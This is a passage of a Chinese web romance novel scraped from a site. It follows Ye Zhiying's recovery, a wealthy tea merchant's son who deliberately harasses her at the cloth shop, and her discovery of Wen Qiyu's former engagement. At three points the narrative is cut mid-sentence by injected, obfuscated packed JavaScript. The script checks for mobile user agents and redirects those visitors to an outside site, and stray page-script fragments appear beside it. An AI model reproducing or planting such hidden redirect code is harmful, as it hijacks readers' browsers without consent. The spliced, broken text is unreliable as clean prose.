那时她已经完全陷入昏迷,气若游丝,一方面实在没办法再坐马车去治病,另一方面温其玉也嫌马车慢,怕耽误了她的病情,于是他让阿力将他用绳子捆在马背上,再由阿力驾马,整整三个时辰,一路颠簸至老先生隐居的山脚下,再被人绑在竹椅上抬上山。可没想到,老先生开口就以达官显贵不治为由拒绝了他。温其玉被阿力搀扶着跪在地上苦苦相求、好话说尽,并允诺老先生为其药园贡献几种极其稀有的药材,老先生这才动了心,又看他此行艰难,身体多处都被马背磨出了血,最终被他的诚心打动,才同意随他下了山。 “怎么这么傻!”她边哭边抚摸着温其玉身上那些伤痕,手在苍白的皮肤上不住地颤抖,“很疼吧?” “一点也不疼,我是上过战场的人,这些伤于我而言不算什么。”他依旧笑着安慰她。 他说过,他会用生命护着她;他还说,不会让她死。他果然言而有信。 她一把将这伤痕累累却又坚韧无比的身体搂在怀里:“为什么对我这么好?我身边所有对我好的人都是有所图的,你呢?你想要什么?” “我想要你平安、快乐。”沙哑的嗓音在她耳边低喃。 她将他抱得更紧了:“温其玉,也抱抱我吧!” 他真的抱住了她。还能感受到他的体温,真好! “对不起,我以后会听你的话,我再也不要跟你分开了!”她哭得泣不成声。 温其玉此前一次次叮嘱她不要独自外出,她偏偏不当回事,结果这次连累他至此,她已经要恨死自己了。 温其玉看着怀中的人儿终于转危为安,心中亦是后怕。这几日一连发生了许多事,他看似镇定,不过都是硬撑罢了。此事皆因他惩罚玲妹而起。虽然惩罚过后他亦给了玲妹足够的银两去为她的弟弟妹妹治病,但却因为吵架、醉酒、起热疹等各种阴差阳错,未能让叶之萤及时知晓,这才发生了后面的一系列事件。若是叶之萤因此出了事,他难辞其咎。 好在老天仁慈,让他有机会弥补错误,于他而言,只要能救叶之萤,受些小伤又有何惧?就算是要他的命才能救她,他也会给她啊! “别再哭了,好吗?”他将下巴靠在她头上,语气满是心疼。 “哭可以排毒,有助于身体健康。”叶之萤趴在他怀里一边哭,一边一本正经地跟他解释。 他被她逗笑了。还能看到她任性可爱的样子,真好! “温其玉。”她突然叫他。 “嗯?” 她委屈巴巴道:“能不能把我给玲妹那十两银子要回来?我后悔了!” “好!” “我以前经常告诫自己,不要随便交出真心,我以为自己不会再犯这种错误了……温其玉,这世上的人,为什么总是让人失望!” “这世上有人善良,就有人不善,要接受这世间就是如此,不必为此自扰。只是,日后不要再让自己身处险境了,好吗?” 她沮丧道:“我一直以为自己很厉害,经过这次的事,才知道自己真是傻得不能再傻了!我以后会听你的话的!” 这两日她在病中也反省过了,就算自己想帮玲妹,也不该在夜里独自一人带着银子去她家中。夜里、独身、携带财物、去不知底细的人家中,四个要素一个比一个危险,自己那天简直就是去送人头的! “说到便要做到!”他提醒她。 “温其玉,你会让我失望吗?”说话间,她将他的腰搂得更紧了。 “不会。” 这次生病让叶之萤大伤元气,整整在家休养了一个月,待恢复如初时,池中的粉莲已经告别了盛夏的酷热,院内的金桂正在迎来初秋的清凉。 “我已经完全好了,想申请从初五开始回布庄上班,不知少爷批准否?”院中,温其玉依旧躺在躺椅上,身下垫着叶之萤缝的那张软垫。而叶之萤则蹲在他身边,悠闲地梳着刚刚洗好的长发。 “最近的药可有按时喝?”他反问她。 “有……”她偷瞄了温其玉一眼,他的脸上没有什么表情,只是那双狭长的凤眼此时正盯着她看,她迅速躲开他的目光,以免被射出的利气所伤。 “没有。”她最终还是决定坦白从宽。自七夕那晚敞开心扉后,她收敛了许多,已经很少骗他了。 温其玉眼中凌厉褪去,重新换上一片柔和,看起来对她的良心发现很是欣慰。 “想去便去吧。只是天气渐凉,换衣裳时要注意别再着凉了。”他说。 “太好了!我还以为你不会答应呢!温其玉,你真好!”意料之外的惊喜,她开心地捧着他的脸来回揉捏。 温其玉被她揉得满脸黑线,抬手抓住她的手腕,将她的两只手扯了下去:“别忘了你我……” “的约定!我记着呢,你别总是提醒我。”她不耐烦道。 “记得却不遵守,约定还有何用?”他一脸不悦。 “当时……”她差点就要被他的话噎住,却正好在那时灵机一动,理直气壮道,“当时只约定你暂时不接受我,也没约定我不能碰你啊!” 话虽如此,两只手还是老老实实从某人脸上拿了下来。 “那就现在约定,还请叶姑娘从今日起管住自己的手,和……”他的目光落在她的嘴唇上,吸了两口气,终是把本要说的那个字吞了回去,“不要……不要随意碰我。” 说完,他竟然害羞了,还脸红了。 叶之萤实在忍不住笑了出来。 “有何可笑!”他更尴尬了。 “我看你比我像姑娘,还是个爱脸红的姑娘,你这样子,不知道的还以为我怎么你了呢!”他越害羞,叶之萤就越想“调戏”,越想将眼前这孤傲的高岭之花拉下神坛。 “那你可答应?”他已经又换上了一副泰然自若的样子。这个人就是这样,即使内心再波动,也很快就能平静下来。 “我不答应!” “为何?” “谁让你总诱惑我,我控制不了自己啊!”她装作一副为难的样子。 他眼睛瞬间睁得老大:“我何时诱惑过你?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她又重新返回到他身边,习惯性想要握住他的手,却在伸出手的一瞬间想到了刚刚他提醒她的话,转而把手搭在了躺椅扶手上,反问他:“我每次走好像都是被你气的吧?既然知道自己追不上,以后就管住嘴,别为了逞一时口舌之快,再把我给气走了!” 她现在跟他说话越来越口无遮拦了。 他听了倒也不难受,反而笑了起来:“倒是我的不是了?” “那当然!”她答得理直气壮。 曲里拐弯一通瞎绕,绕来绕去,最终结论都是温其玉的错。 不过,他也乐得接受。 叶之萤其实并不是一个爱撒娇的人。毕竟只有爱你之人,才会因你一个小小的皱眉而认输妥协。可在现实世界里,爱,是那么罕有的东西。 刚上大学时,她谈了一场恋爱,那男生追她时对她千依百顺,可追到手后很快就换了另一幅面孔。有次两人在街上吵架,叶之萤故意不打伞走在下着大雨的路上,希望对方能主动过来为她打伞,可等来的却是他的另一句话:“我是不可能给你打伞的!喜欢淋雨就淋个够吧!” 她当时一把就抢过了那人手里的伞,对他说:“滚吧!癞蛤蟆想吃天鹅肉?你这辈子也不配给老娘打伞!” 从那以后,她就再不相信男人伪装出来的顺从了,也再不对男人示弱撒娇了。 她明白了一个道理:无利不起早。这世界上的大多数人,眼中关心的只有自己的利益。 若碰到有用之人,便无师自通,立刻化身心理学家和侦探柯南,恨不得拿着放大镜观察他的微表情,揣测他的心意,所谓“察言观色,曲意迎合”。 而若是无用之人…… 没有人会关心或在意一个无用之人的情绪。 但就是这样一个看透了现实的她,现在竟然整日对着温其玉撒娇、任性、发脾气;而那样一个理性到极致的他,竟然也由着她胡言乱语、颠倒黑白。 爱情啊,果然是很可怕的东西! 90. 打工遭刁难 时隔一个月,叶之萤终于又重回沈氏布庄。 三日前,她就告知沈老板自己会在初五回来继续工作,因此,沈老板特意手绘了宣传单张贴在店门口广而告之。今日一看,十几种新款布料都已经堆在货架上,摆足了架势准备大干一场。店里也早已挤满了等着买布料买衣服的顾客。 刚一进店,沈老板就忙从人堆中挤到她面前,询问她的身体状况。养病的这段时间,沈老板不仅没有抱怨她耽误了自己的生意,反而亲自登门探望,嘱咐她定要以身体为重,令叶之萤感动不已。 “人好多啊!”平日里大都要过了巳时才陆续有客进店,今日这才辰时过半,店里已经人山人海了。 “大家都等你一个月了,听闻你今日回来,早早就赶过来了。再加上暑退秋至,铺里又正好到了一大批秋款布料,人是多了些。” 沈老板话还没说完,就已经被顾客挤到别的地方去了,二人只好扯着嗓子喊话。 “叶小姐,你总算来了!我家小姐还等着你帮她试衣裳呢。”叶之萤还没看清说话的是谁,就被一只娇小的手拽到了试衣间前。 “叶小姐,这件圆领袍劳烦帮忙试一下。” 这边一套湖蓝色长衫和桃粉色百褶裙还没来得及接,那边一件墨蓝色男款圆领袍已经塞到了她手里。 “叶小姐,这个也要试。” “还有这个!” 叶之萤被推来撞去,站得东倒西歪,耳边也是一片混乱。 早知道会是这样的场面,就不该让沈老板贴广告! “大家别挤,别抢!按顺序靠墙排好队,我一件一件试,所有人的衣裳我都会试,不会漏掉任何一位,大家放心!现在麻烦配合一下,先把队排好!” 她随手抓了把椅子,站在上面,大声维持起秩序。 就这样,在嘈杂混乱的铺子里,叶之萤一套又一套不间断地为大家试着衣服,等终于能停下来缓一缓的时候,西面雪白的山顶已经染上了一层绯红。 “叶小姐,今日辛苦你了!”沈老板递了一杯茶水给她。 叶之萤这才发现,这竟然是今天喝的第一杯水!她接过茶杯一饮而尽,浇灭了喉咙中即将燃起的火焰:“不辛苦,这一个月铺子少挣的银子,今日都给它补上!” 沈老板一听到银子,笑得合不拢嘴,立马起身往柜台去:“我这就拿账本。” “叶小姐,这会儿没客人了,你赶紧吃点饭吧。”阿力此时也提着食盒进来了。 “是啊是啊,一直忙着,午饭还没吃呢。”沈老板也应声附和。 叶之萤揉了揉那已经饿得麻木的胃,接过食盒,刚取出一盘豆糕,还没来得及咬一口,就有客人进了铺子。 “请问,是叶小姐吗?”那人直接走到了她面前,身穿蓝色长袍,头戴银冠,面如桃花,身材精壮。 “我是。”她起身应答,那男子比她高出小半个头,目测应该有一米八二、八三。 这人看着有点面熟,叶之萤总觉得好像在哪见过似的。但是又想不起来到底在哪儿见过。 “叶小姐可是还记得我?”男子看她面色迟疑,露出一脸喜色。 “你是?”她放下了手中的豆糕,并在脑子里把来这里后见到的人都走马灯似的过了一遍。 “你是那日‘白玉楼’中遇见的那位公子?”阿力率先认了出来。 原来是他!叶之萤总算想起来了,就是当时自我介绍来自什么地方的牛氏、羊氏还是马氏,被她赶走的那个人! “在下松州玉泉山杨氏——杨宗明!”同样尴尬的开场白他竟然又说了一遍,叶之萤实在怀疑他是不是跟谁都这样说,“竟然能在茫茫人海中与叶小姐相遇两次,你我果真是有缘!” 叶之萤赶紧往后退了两步,连连摆手:“杨公子别说的这么玄乎!哪有什么茫茫人海,就这么丁点儿大的黎城而已,别说相遇两次了,就是相遇二十次也谈不上是有缘。” “就是!”阿力也已经拉响警报,主动护在了叶之萤身前。 谁知,那人又上前两步靠近叶之萤:“听闻叶小姐可以帮忙试衣?” “你要买衣裳?”她问。 “买给家母和小妹,叶小姐可否帮忙一试?” “可以!杨公子先挑选款式吧。”既然来了生意,不管他是谁,叶之萤都不会跟钱过不去。 “女子的衣物我不懂,还请叶小姐推荐二三。” 于是叶之萤按照他对母亲和妹妹的描述为他挑选了共四套衣服,挂在衣架上供他选择。 他取下其中一件雪青色长衫和一件玫红色长裙,道:“家母性情沉稳,向来不喜艳丽之物,这两件恐不合适。” 她又重新挑选了墨绿色葫芦纹软缎长衫,和葡萄紫素软缎长裙。 “忘了说,家母不喜绿色。” “没关系,这个料子还有朱砂色。”她又示意沈老板将朱砂色的布料拿来展示给他看。 “朱砂色有样衣吗?”他问。 “没有。”她答。 “没有样衣,我如何得知这个颜色穿上好不好看?” “我可以给杨公子比在身上看一下。”说着,她就将那匹布搭在自己身上。 他对她的试色却很不满意:“这如何看得出来?叶小姐给旁人试衣也是如此敷衍吗?” 这时,叶之萤已经发现他是来故意找茬的了。但为了买卖,她不再与他在这件朱砂长衫上较真,转而拿起了另一件青莲色莲花纹花罗长衫:“那杨公子看看这件吧,颜色稳重,花纹素雅,适合令堂。” “紫色轻佻,哪里适合家母?再换!” “我们常说紫气东来,朝廷之上,只有三品以上官员才有资格着紫色官服,紫色自然是最尊贵、最高雅的颜色,又何来轻浮一说呢?”她不卑不亢地反驳他。 他那些稀奇古怪的理由也已经用得差不多了,只好耍无赖:“总之就是不适合,你们布庄就这点料子?” “料子还有许多,样衣也不少,都在这边货架上呢,既然我挑的杨公子都不满意,那就请杨公子自己挑吧。” 没想到,他竟然把所有的样衣都让她试了一遍。叶之萤明知他是故意的,但碍于是工作时间,就不能任性地赶走客人,只能一一替他试穿展示。等把所有衣服都试完后,时间已经到了酉时。 “杨公子,衣裳已经全都试过了,您挑中了哪几款,我帮您记下。”沈老板依旧笑盈盈的,拿着货单走到他身边。 他却一把将沈老板那只手推开,笑着道:“都说叶小姐不仅人美,为人试衣时更是耐心有加,今日一见,果然如此。只是,我今日出门过于着急,竟然忘了问家母及小妹的衣裳尺寸,恐怕今日不能购买了,耽误叶小姐这么长时间,叶小姐不会生气吧?” “当然不会,这是我的工作。”即使叶之萤早就在心里捏碎他千次万次了,脸上却还要努力保持礼貌的微笑。 “如此甚好,有缘再见!”说完,他便昂首阔步地走了出去,仿佛刚才的事不仅没让他觉得惭愧,反而还很骄傲似的。 “好不要脸一男人!”叶之萤看着那徜徉而去的背影,气得咬牙切齿。 “你为何不拒绝他?”阿力也被气得不轻。 “虽然他很无耻,但他确实没提出格的要求,试衣服不就是我的工作吗?碰上这样的人,只能自认倒霉了。”她无奈道。 谁让自己只是个打工人呢,工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991713|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作哪有一帆风顺的?叶之萤转头问道:“沈老板,今日能分多少银子?” “二十二两!”沈老板已经将银子放在了柜台上。 “哇!可没白辛苦啊!”她摸着那一锭锭白花花的银子,笑得嘴都咧到耳朵根了。 这世上,果真只有钱才能让人实实在在的开心,至于刚才那点不愉快,还有一整天的身体疲累和饥肠辘辘,在看到真金白银的那一刻,就全都化作浮云,消散殆尽了。 出了布庄门,她和阿力赶紧去对面的首饰铺归还了首饰。 首饰铺的赵掌柜原本早就要闭店了,硬是等她到天黑,见她姗姗来迟,免不了要抱怨几句。 叶之萤还沉浸在银子带来的兴奋中,心情大好,笑着点头赔不是。 反倒是阿力不高兴地怼起他来:“今日布庄生意大好,门庭若市,这才闭店晚了。赵掌柜应该也因此捡了不少客人吧?怎么得了便宜还卖乖?” 赵掌柜脸上顿时一片尴尬。 “小事小事,别放在心上,掌柜的,我们先走了啊!”她懒理赵掌柜,拉着阿力赶紧往回走。 今日比平时下班时间晚了一个多时辰,温其玉在家一定等着急了。一想到这里,脚下的步伐不自觉就加快了速度。 “叶姑娘!”刚小跑到满记茶楼门口,就听见有人叫她。 是温其玉的声音! 她猛地抬头去寻,发现他就坐在茶楼门前,身着黛青色长衫,几乎与这墨蓝的夜色融为一体了,若不是身后荣祥的浅灰色衣服足够显眼,差点找不到他人。 “你怎么来啦?”叶之萤像只兔子似的欢快地跳到他面前。 “许久未见你回家,便想着来看看。”说话时,他的嘴角浅浅地扬着,像一只弯弯的小船。 “来多久了?”她看了一眼绑在他身上的那根与衣服同色的束带,又想到那日他为了救她,把自己绑在轮椅上,全身都被勒出了淤青,淤青快一个月才消退,霎时间心里一疼。 “刚来不久。”他笑着宽慰她。 “那我们快点回家吧,我已经饿得快要升仙了!”她自然地推起他的轮椅。 此时,迎面而来一对中年夫妻,叶之萤一眼就认出,是沈氏布庄的老顾客。二人看到他们如此亲昵,瞥了眼温其玉身下的轮椅,小声嘀咕起来。 温其玉见此情形,有些不自在,阻止她道:“还是让荣祥推吧。” 叶之萤却没听他的,不仅如此,还故意将他推到那二位面前:“荆老爷,荆夫人,真巧啊!有些日子没见了,荆老爷看起来更精神了,荆夫人也愈发年轻漂亮了呢!” 荆夫人听到这话笑得合不拢嘴,一旁的荆老爷亦装模作样关心她:“叶小姐,听沈老板说你身体抱恙,可好些了?” 目光却已然飘到温其玉的腿上。 “多谢荆老爷挂怀,已经康复了。”说着,又主动拉起温其玉的手,大方跟二人介绍起来,“忘了介绍了,这位是我的……意中人!” 轮椅上的人当即定住,眼前的二人亦是如此。还是荆夫人反应得快,笑着道:“公子看起来一表人才,与叶小姐当真是天生一对啊!” 叶之萤权当她是真心夸奖,笑得像吃了蜜一样甜:“那是自然!” 二人走后,温其玉立马松开了她的手。 叶之萤死乞白赖靠到他身边撒娇:“谢谢你刚刚没有拆穿我!”一副得了便宜还卖乖的样子。 温其玉无奈叹气:“你又何必如此!” 她望着他的眼睛得意地说:“因为你是我的骄傲啊!” 轮椅上的人再一次定住。眼前的女子笑得更灿烂了,那笑容像极了灼灼的日光,连蒙蒙夜色也被这束光照得通明。 91. 蓝色荷包 耳边传来一阵“咕噜噜”的声响,温其玉回过神来抬头一看,发现叶之萤正捂着肚子,满脸尴尬:“我实在是太饿了!” 他惊诧问道:“送来的饭,你没吃吗?” “本来是要吃的,结果碰上一个不讲理的客人,故意为难叶小姐,折腾了一个多时辰,不仅饭没吃成,还拖到这会儿才闭店。”阿力借机发了一大通牢骚。 “有人为难你?”他褪去笑容,面色严肃起来。 叶之萤不想他担心,赶紧解释:“咳……就是一个难缠的客人,让我多试了几件衣服,没什么大不了,总会遇到这种人的。” “我想起来了!”阿力突然一拍大腿,吓了人一跳。 “想起什么了?一惊一乍的。”叶之萤白了他一眼。 “未时那会儿,我本想进店给你送点茶点,姓杨的那时就已经在布庄门外了,只是那会儿人多,他并没有进去,在门口徘徊了一阵就离开了,现在想来,他应该是特意等店里客人都离开了才进店找你的,他肯定是故意来刁难你的!我猜是因为那日被你讽刺,他一直怀恨在心,这才寻到布庄找你报仇!” “报仇?姓杨的?”温其玉听得云里雾里的,又转身问叶之萤,“此人是你认识的人?” 叶之萤原本不想多说此事,但眼看温其玉已经较起真来,便老实回答:“你还记得吗?端午节那天,我们在白玉楼吃完饭,临走时遇到了一位姓杨的男人,就是他。” “杨宗明?”温其玉神色一紧,目光瞬间警惕起来。 “对对,就是他!唉,你怎么还记得他的名字?”那种无关紧要之人的名字叶之萤压根不会放在心上,温其玉更是如此,但对于此人他却记得这么清楚,莫非这人大有来头? 温其玉道:“玉泉山杨氏家族乃是松州巨贾,亦是邺国最大的茶商。” “难怪!”她恍然大悟,这人果然有来头,只不过…… “他不是玉泉山的吗?怎么来黎城了呢?玉泉山离这儿远吗?” “玉泉山位于蜀地。而他之所以来此,只因黎城特产一种茶叶,此茶入水绽开,形似青莲,香气淡雅,便是这里人常喝的‘玉莲香’。这里种植玉莲香的茶园超过九成都为杨家所有,这些茶园的生意自去年起便由这位杨公子接管。” “切,不过就是个仗着家里身份欺负人的纨绔子弟罢了!”叶之萤对他的身份原本一点儿也不感兴趣。而在知道了他的身份后,对他的所作所为更加鄙夷。 温其玉摇头道:“他可不是纨绔子弟,此人虽行事乖张,却颇有经商头脑,将茶园生意打理得井井有条,若是再见他,还是谨慎为妙。” 叮嘱一番后,他还是不放心,又转头对一旁的阿力说:“这些日子你盯紧些,杨公子若是再来招惹叶姑娘,定要及时告知我。” 叶之萤看温其玉提到那杨宗明时神情微戒备,心想那姓杨的不过就是个茶商而已,能把自己怎么样呢?他的担心是不是有些过度了? 于是岔开话题:“不说他了,我给你讲讲今天铺子里的情况吧。今天店里生意极好,人多得简直快把门槛都踏平了……” 她一边迎着月光推着他走,一边绘声绘色的讲今日店内的盛况。黎城的百姓们此时大多已经歇息,街道空荡荡的,只有头顶那轮可爱的月牙始终跟着二人。 叶之萤的声音在空旷的街上显得极为明亮,温其玉坐在轮椅中,安静地听她讲着,侧脸的肌肉也因为微笑而时不时扯动起来。 讲完后,她突然停下脚步,趴在他耳边故作神秘地问:“你猜我今天挣了多少钱?” 还没提金额,她就已经财迷心窍地笑个不停了。 “看你这开心的样子,想必比平时多不少吧。莫非是……十五两?” “二十二两!”她故意把“二十二”三个字说得很使劲。 “哦,是吗?”轮椅上的人张大了嘴巴,露出十分惊喜的表情,饶有兴致地配合着她的表演。 “是啊!”她抿着嘴唇,忍着心中的狂喜冲他点头,等着他的夸奖。 “叶之萤可真是了不得!”他笑得眼睛都弯成两条细细的月牙,与天上那轮弯月一样可爱,温柔的眼波在那月牙头尾之间来回流转,令人心神荡漾。 她趴在他耳边,得意洋洋地笑着:“谢温少爷夸奖!” 眼前这张丰神俊朗的脸勾得她的嘴巴又有点冲动,但一想到那日的约定,还是强行按下了那股冲动。 已有淡淡的苦色爬上了他的眉心,在略显苍白的皮肤映衬下格外显眼。夜色之中,她看到他的右手偷偷顺着身侧缓缓向上,艰难攀上了后腰,而后五指松松地握了起来,用手背凸起的关节揉起了早已酸痛的腰。但他的力度太轻了,她怀疑他腰上的肌肉都还没感觉到按压的触感,只揉了两下,手就没了力气,又不听话地垂了下去。 他的背始终挺得特别直,即使出来了这么久,也没有任何松弛或歪斜,像是被冰冻住了似的,有种僵硬的感觉。 自七夕那夜的约定之后,他的日常锻炼更刻苦了,每日除了吃饭睡觉,其余时间都在锻炼,甚至连荣祥或阿力为他读书时都不停下来。细算下来,每日至少四个时辰,也就是八个小时都在锻炼。一度让叶之萤怀疑他的身体会不会因为过度锻炼而疲劳,反而恢复得更慢。 不过很快,他就用实际行动打消了她的顾虑。他的努力没有白费。这一个月,他的进步非常大,右手已经可以握住勺子舀些汤汤水水,左手也能做些简单的抓握动作,腰部和背部的肌肉力量更是有了很大的加强。 只是,随着他坐的时间越来越久,又迎来了新的问题。由于左右肌力不平衡,他的脊柱肉眼可见的有些弯曲了。 于是,他命阿力为他做了一副腰部支架,从腋下一直撑到小腹,戴好之后,不听话的上半身就会被驯服得直挺挺的。 可这样做,给身体带来的痛苦是显而易见的,这东西对他而言与其说是支架,倒不如说是刑具更加贴切。 叶之萤不由得加快了步伐。 回到温宅后,她催温其玉赶快卸掉那玩意儿,而她自己忙了一天,也早就浑身酸痛、头困腿乏。等饭的间隙,坐在一旁的榻上,时而弓弓腰,时而又捏捏腿。 “让后院烧些沐浴泡澡的热水。”他看她如此难受,便吩咐荣祥,又转过头对她说,“待会儿泡个热水澡,解解乏。” 叶之萤累得连张嘴和点头的力气都没有了,只冲他微微眨了一下眼,敷衍地“嗯”了一声,就斜卧在榻上闭目养神。 不知过了多久,一道明亮的光线穿透眼皮,叫醒了叶之萤的大脑。她猛地睁开眼,却看到一架熟悉的屏风置于眼前,屏风后是一个人朦胧的身影。 那人在她面前的床上坐着,穿着一身白色中衣,乌黑的长发披在身后,正在认真的把面前木桌上一只碗中的木珠子捡到另一只碗里。 他消瘦的身影映在白色 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这回轮到温其玉笑了:“放心,是柳儿,她不仅给你换了衣裳,还帮你擦了脸,洗了脚,你竟然睡得全然不知。” “是吗?”她也为自己居然可以睡这么沉感到不可思议,“看来昨天是真累了!你该叫醒我,让我回房去睡的!” 她睡在这儿,阿力和荣祥就不能睡在这儿,那么温其玉夜里自然就得不到照顾…… “不碍事,夜里荣祥过来为我翻了身的。”他一眼便看穿了她的心思,“既然醒了,去洗漱吧,我吩咐厨房给你准备早饭。昨儿个一整日未进食,肯定饿坏了吧?” 她摸着早已扁平的肚子回了自己屋里。 再回到温其玉房里时,他也已经洗漱更衣完毕,看他那僵直的身体,她知道他已经又穿上了那个“刑具”。 早饭后,她闲着无事,在院子里荡了会儿秋千,又到温其玉房里去烦他。他正在做康复训练。 “我好像还欠你两次书没读。”一看到他的脸,她就像被按了开关似的不受控制笑了起来。 温其玉缓缓放下抬起的手臂,脸上原本紧绷的肌肉也同时放松下来,抬头看向书架,客气道:“那就劳烦叶姑娘了。” “还是《孙子兵法》?”她走到书架前,在得到他的肯定回答后,便找到了原来放《孙子兵法》的位置,却发现书不见了,于是从上往下把书架的每一层都仔细找了一遍。 找到最底下一排时,有一张纸覆在许多书上面,她随手把纸拿起来,想看看《孙子兵法》有没有被压在下面,却意外从那张纸下面拽出来一个蓝色的荷包。 叶之萤捡起荷包,一拿在手上,就发觉这荷包看着有些眼熟,上面穿有八颗玉珠,刻着“如月之恒,如日之升”八个字。 仔细回想了一下,是端午那日温其玉与她外出时佩戴在身上的。 当时她只觉这荷包上的纹样特别,却不知到底是什么花纹。在沈氏布庄工作两个多月后,现在的她已经能准确认出上面的纹样了——那是瓜瓞纹,瓜的藤蔓相连,寓意两家联姻,白头到老,瓜瓞延绵,子孙昌盛,是典型的爱情纹样。 再仔细看,这荷包右下角原来还绣了一个字,只因也是用蓝线所绣,和荷包的底色融在一起,所以上次才没有发现。 那是一个“陳”字。 92. 婚约 叶之萤的大脑瞬间被这个字击懵,拿着荷包的手不停地摸着那个字。很显然,这是一个姓陈的女子送给他的荷包。而就在三个月之前,他还将它带在身上。 再看手里那张纸,上面是一个面容姣好的年轻女孩,眼中饱含爱意。 左下角的落款写着:“玄德二年九月初九作于陈园赠于陈薇尔”。 落款下面赫然写着三个字——温其玉! 这位画中女子到底是谁?能让温其玉带着绣有她姓氏的荷包,还亲手为她作画,他们之间到底有着什么不一般的关系?那日在雁湖旁,关若飞提到的“陈小姐”就是她吗? 可自认识温其玉以来,从没听他主动提起过这个名字啊!难道是自己想多了吗?可如果他一点也不在意这女子,为什么还留着她的东西? 还是他有意欺瞒? 叶之萤突然有种被蒙骗的感觉,怒上心头! “叶姑娘?”温其玉还不知道她发现了什么,见她一直不起来,疑惑地叫她。 她蹲在那里,心想到底是应该把东西放回原位,当做什么都没看到?还是索性拿着东西质问他? 可是以什么立场质问他呢?虽然他们相互喜欢,但即使到今天,到此时此刻,自己与他也始终只是朋友,他未必事事都要向自己说明。 她的手徘徊在那几本书旁,犹豫不定。 “叶姑娘?”温其玉见她不做声,察觉出异样,又叫了一次。 “这是你的荷包吧?怎么在书架上放着?刚找书的时候不小心掉地上了,我帮你放起来吧?”她还是没忍住,站起身把荷包举起来给他看,顺便偷看他的反应。 可温其玉只随意看了荷包一眼,没有任何反应,只是说:“许是阿力顺手放的,你把它放书桌上吧。书可能也被他放到别处去了,别找了,读其它书吧。” “是吗?”温其玉的淡定并没有让叶之萤消气,毕竟他向来演技超群,她实在忍不住,阴阳怪气地反问了一句。 “你怎么了?”温其玉发现了她的不对劲。 “那这幅画呢?”她举起右手,将原本藏在身后的那幅画展示了出来。 他的表情瞬间大变,如同被突然揭了隐藏许久的老底那般慌张。 “我把它和荷包一起放在书桌上吧。画得真好看,是你画的吗?”她忍着心中的愤怒,让自己尽量心平气和。 “是。”他尴尬地点头。 “没想到你的画画得这么好!”她硬生生扯出一个假笑,将那幅画放在书桌上,又将这只荷包放在画中之人身上,回身从书架上取了《诗经》来为他读,再没提那画中女子。 “有狐……” “有狐绥绥。” “有狐绥绥,在彼淇梁。心之忧矣,之子无裳。有狐绥绥,在彼淇厉。心之……” “心之忧矣,之子无带。” “心之忧矣,之子无带……”叶之萤本就是个容易冲动之人,现下满脑子都是那幅画和荷包,实在做不到心无旁骛。 “有狐绥绥,在彼淇侧。心之忧矣,之子无服。”最终还是温其玉帮她补全了整首诗。 她本想再找另一篇来读,可混乱的大脑已经顾不上指挥身体,没有了大脑的指令,手上漫无目的地一通乱翻,本就有些晦涩难懂的文字在她眼中更是早已变成了密密麻麻的天书。 “叶姑娘。”温其玉开口将她那涣散的魂魄叫了回来。 “嗯?”她愣了一下。 “你有话想要问我吗?”他倒是够坦荡。 既然这么坦荡,何必还要等人发现才回应,怎么不早坦白呢? “没有!” “那你为何心不在焉?” “心情不好!” “为何心情不好?” “你……”简直明知故问! “叶姑娘向来行事坦率,怎么今日变得支支吾吾?” “有些事,别人若是不想说,我又何必追问。” “你又没问,怎知他不想说?” “想说的话又何必等到今天。” “或许他只是忘了,又或许是他觉得那并不重要,所以才没有主动提及。” “不重要?不重要会把她的画像带来黎城?不重要会连出门也要把她送的荷包戴在身上?你和我一起外出,身上却戴着她绣的荷包,并且,这是三个月前才发生的事,你现在告诉我,她不重要?”她终究还是没能忍住脾气。 “你先别生气……” 叶之萤打断了他的话:“我不生气,我生什么气?我又不是你女朋友,朋友而已,有什么资格生气!” 温其玉却笑了起来:“我说怎么酸溜溜的,原来是某人打翻醋坛子了!” “我……我懒得理你!”被他一语道破,叶之萤又羞又恼,起身就要走。 床上的人迅速伸出右臂,一把扯住了她的胳膊。 此刻,他的脸上已全然没有了刚才的轻松,只剩紧张。 “不要走!”一双可怜的眼睛巴巴地哀求着她。 叶之萤看了眼衣袖上的那只手,只好退了回来,重新坐回了床边。 他的神情这才安定下来,开口道:“她叫陈薇尔,与我曾有过婚约。” 这一句话,就惊掉了叶之萤的下巴。 听阿力说,温其玉这个人从小到大只对兵法感兴趣,从不在意男女之情,她便想当然的以为他此前的生命里一定没有爱情,却没想到不仅有过爱情,还有过婚约。 原来自己并不是他心中唯一所爱之人,原来他还曾这样爱过别人。 虽然他曾经有过感情经历这种事并没有什么可指责的,但一下子从“唯一”变成了“之一”,地位一落千丈,叶之萤的心情难免跟着跌到了谷底,失落之情瞬间涌上心头。 温其玉看她面露失望,也跟着眉心微蹙,继续道来:“陈家与我家是世交,薇尔的娘与我娘亦是同父异母的姐妹,所以薇尔其实是我的表妹,又只比我小四岁。于是顺理成章的,两家父母便在我们年幼之时就在婚事上达成了共识,在我十八岁、她十四岁那年,双方父母一拍即合,为我们定下了婚约。这只荷包便是她送我的定情信物,而我送她的正是这幅画。” “所以,你和她是青梅竹马,两小无猜?”本以为他与那陈小姐只是一段普通的过去式,没想到两人竟是如此亲密的关系,亲密得令她嫉妒发狂! 可意外的是,温其玉却不假思索地否认了她的话:“恰恰相反,我与她从小相交甚少,只见过寥寥数面,感情更是无从谈起。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 